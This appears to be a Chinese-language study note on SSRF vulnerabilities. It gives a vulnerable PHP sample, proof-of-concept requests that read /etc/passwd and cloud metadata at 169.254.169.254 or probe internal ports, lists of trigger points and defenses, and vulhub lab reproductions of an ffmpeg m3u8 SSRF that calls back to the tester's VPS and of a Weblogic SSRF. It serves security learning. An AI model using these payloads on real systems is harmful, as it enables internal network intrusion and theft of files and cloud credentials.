SSRF漏洞学习
初识SSRF
定义:
SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击目标是从外网无法访问的内部系统(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统).
理解:
目标服务器可能是从内网中通过映射端口传出内容,但是服务器的代码或者设计有缺陷,导致用户输入可以以服务器的身份来探测到服务器开启的服务或者端口和探测服务器所处内网中的网段还有内容中存活的机器,然后构建一条从外网进入内网的通道.(可以用vps,oob,dnslog等服务验证SSRF漏洞)
因为一般情况下处于外网的机器是无法请求到内网的,而处于内网服务器的本身是可以的.所以达到这种效果的漏洞被称之为SSRF(服务器端伪造请求)
漏洞的产生过程:
- 服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制
- 当服务端向内网或第三方服务请求资源的时候,URL部分或全部可控
理解:
1.举例一个站点的功能是从一个页面跳转到另一个页面
它的URL为:http://www.test.com/?act=login&url=user.test.com.
当登入成功之后就会从http://test.com跳转到user.test.com这个站点,如果我们将user.test.com替换成www.baidu.com或者等等站点都可以进行跳转的话,那么就可以称之为任意URL跳转漏洞
2.首先这里说明了URL部分可控和全部可控,全部可控就是直接替换为自己目标的站点或者是dnslog等.但是如果遇到部分可控类似于http://test.com/?url=user.test.com.这里URL参数传入user.test.com是必须的,不可以变化的,那么这里就可以利用@服务来进行绕过了.
案例
<?php
/**
* Check if the 'URL' GET variable is set
*/
if (isset($_GET['url'])){
$url = $_GET['url'];
/**
* Send a request vulnerable to SSRF since no validation is being done on $url before seding the request
*/
$image = fopen($url, 'rb');
/**
/ Send the correct response headers
*/
header("Content-Type: image/png");
/**
* Dump the contents of the image
*/
fpassthru($image);
}
?>
可以看到,这一串代码并没有对用户传入进来的URL进行过滤,那么就会造成SSRF的漏洞.
针对不同的中间件则有一些不同的POC
● Apache Http Server的mod_status开启时(默认开启)
○ GET /?url=http://localhost/server-status HTTP/1.1
○ Host: test.com
■ server-status是Apache的一个功能页面,可以显示正在工作的进程数,每个请求的状态,访问网站的客户端IP,正在被请求的页面等等.一般是禁止访问的.或者使用白名单限制访问的IP,如果存在SSRF的漏洞,既可以用服务器的身份去访问,也就是127.0.0.1来访问.就可以绕过对server-status的限制,读取server-status的内容
● 探测Amazon EC2/OpenStack开放端口
○ GET /?url=http://127.0.0.1:port HTTP/1.1
○ Host: test.com
■ 利用SSRF去探测本地服务器开启的端口
● 探测Amazon EC2/OpenStack的meta-data
○ GET /?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
○ Host: test.com
■ meta-data是OpenStack的元数据平台,是提供给用户的一种机制,可以设定每一个instance的参数
● 使用其他协议
○ GET /?url=file:///etc/passwd HTTP/1.1
○ Host: test.com
■ 利用file协议读取/etc/passwd文件
● 如果使用CURL发起连接,可以使用dict URL协议发送任意数据
○ GET /?url=dict://localhost:11211/data HTTP/1.1
○ Host: test.com
■ 当file等协议被服务器进行过滤和限制的时候,就可以利用dict协议来完成与服务器的交互
SSRF常见触发点
● Web
○ 图片加载
■ 头像
■ 以图搜图
■ 插入图片
■ 图片变化
■ Markdown显示图片
■ 图像变化
○ 下载服务
■ 百度云离线下载
○ 预览内容
■ 分享网站
■ 收藏
■ 网址预览
○ 代理服务
■ wap代理
■ 翻译
○ 文件包含
■ 一般是由file_get_contents($file)造成的
■ 如果开启了allow_url_fopen就会造成SSRF
○ 多媒体加载
■ CVE-2016-1898(ffmpeg SSRF漏洞)
○ Api Demo
○ 站长工具
■ 存活检测
■ 监控
■ 网站监测
■ 获取源代码
○ 在线编程
■ 有很多函数可能造成SSRF
■ 如果不是防火墙限制内网连接,很难用黑名单覆盖所有危险函数
○ 应用/中间件自带实例文件
■ Weblogic
○ RSS
● 格式处理
○ XML
○ OpenOffice
○ PDF(TCPDF)
● 数据库
○ 与数据库执行连接相关操作(连接新数据库,复制数据库等)
○ 执行XML相关函数(XXE)
○ Postgres
○ Mysql
○ MongoDB
○ Redis
○ Oracle
● 广义SSRF
○ 扫一扫
○ 打开文档(宏)
○ 客户端Markdown预览
○ XSPA(Cross Site Port Attack)[跨站点的端口攻击]
常见触发SSRF的参数名
● share
● wap
● url
● link
● src
● source
● target
● u
● 3g
● display
● sourceURL
● imageURL
● domain
● ...
SSRF防御手段
● 输入合法性校验
● 返回结果校验
● 网络限制
○ 内网防火墙限制内部相互访问才是最有效的防护手段
● 后缀限制
● 正则验证协议名
● 黑名单限制
● 域名解析
○ 不允许解析出的IP为内网IP
■ DNS Rebinding attack
■ 超小TTL
■ 再检测时为正常IP
■ 在请求时解析为内网IP
● 端口硬编码
○ fsockopen写死访问端口
○ 对host参数进行预处理
● Hostname限制
○ 指定域名,禁止IP访问
■ 将自己DNS服务器中的A记录指向一个内网地址(XIP.io)
■ 进阶:必须是该网站的子域名(Fuzz指向内网的子域名)
○ 完善正则的检测规则
一次SSRF攻击的经典流程
● 扫描内网
○ 扫描内部网络以确保可以访问到内部的基础设施
● 收集端口信息
○ 收集localhost开放的端口以及内部主机的端口开放情况
● 服务指纹识别(确认开放端口所对应的服务)
○ 基于时间的检测
■ 发送待测试的协议数据包,服务器长时间不关闭套接字则说明支持该协议
○ 使用nmap
■ nmap-service-probes脚本
● 确定SSRF组合类型
○ 直接使用Socket套接字访问(Fsockopen)
■ 尝试使用CULF或其他字符进行拆分
○ 使用Socket Client进行访问(Java URI,cURL,LWP...)
■ 选择根据支持的URL协议
■ Protocols SSRF Smuggling
○ Exploit
■ 设置基础认证并Exploit
SSRF的漏洞复现
CVE-2016-1897
环境:vulhub靶场
概述:主要涉及ffmpeg对m3u8文件的处理不当导致的
漏洞利用思路:
先进入网站查看源码

](https://)
可以发现上传一个文件,然后会被添加上.mp4的后缀,然后系统对我们上传的文件用ffmpeg -i来执行
然后查阅资料,寻找这个点如何进行利用
FFMpeg在解析HTTP Live Streaming流媒体m3u8处理不当.所以利用点就在上传的m3u8文件这里.
m3u8文件格式:
#EXTM3U 标签是m3u8的文件头,开头必须要这一行
#EXT-X-MEDIA_SEQUENCE 表示每一个media URI在PlayList中只有唯一的序号
#EXTINF:10.0 表示这一段TS流文件的长度
#EXT-X-ENDLIST 这个相当于文件结束符
这些事m3u8的最基本的标签,而问题就出在FFMpeg去请求TS流文件(URL)时,FFMpeg不会判断里面的流地址,直接请求请求,就可以达到SSRF的漏洞效果,如果想要增大漏洞的危害程度就可以结合file协议和其他的concat函数等来达到任意文件读取的效果.(CVE-2016-1897)
复现过程:
- 首先创建一个恶意的m3u8文件
文件内容如下:
#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
http://Your IP😛ort/test.txt
#EXT-X_ENDLIST
- 在自己的VPS上用Python开启简易的HTTP Server(python3 -m http.server)然后在共享的目录下随意放置一个txt等文件
- 然后将做好的恶意m3u8文件上传靶机,就可以在自己的vps主机上收到来自FFMpeg的请求

相关资料:
https://blog.csdn.net/EC_Carrot/article/details/117510184
https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/Ffmpeg/%EF%BC%88CVE-2016-1897%EF%BC%89Ffmpeg%20ssrf/
Weblogic-SSRF
环境:vulhub
复现过程:
访问:http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp

开启burp suite进行http数据包抓取

在Search by business name栏中随意输入数据,点击search发送请求给到服务器

可以看到operator的参数后面跟着的是一个API接口,将API接口替换为127.0.0.1:7001测试是否存在SSRF的漏洞

可以发现页面报错,报了一个404 Not Found的错误,说明他会对127.0.0.1:7001进行访问,探测是否存在服务,为了验证猜测,我们访问一个不存在的端口,查看页面的回显

可以看到二者的回显是不同的,初步判断SSRF漏洞存在
后续扩大可以寻找其他漏洞形成组合拳扩大危害,常见的有Redis等
明人不说暗话!师傅们多多点赞!如果本文有不对的地方,师傅们可以指出来,交流学习,营造更好的安全氛围!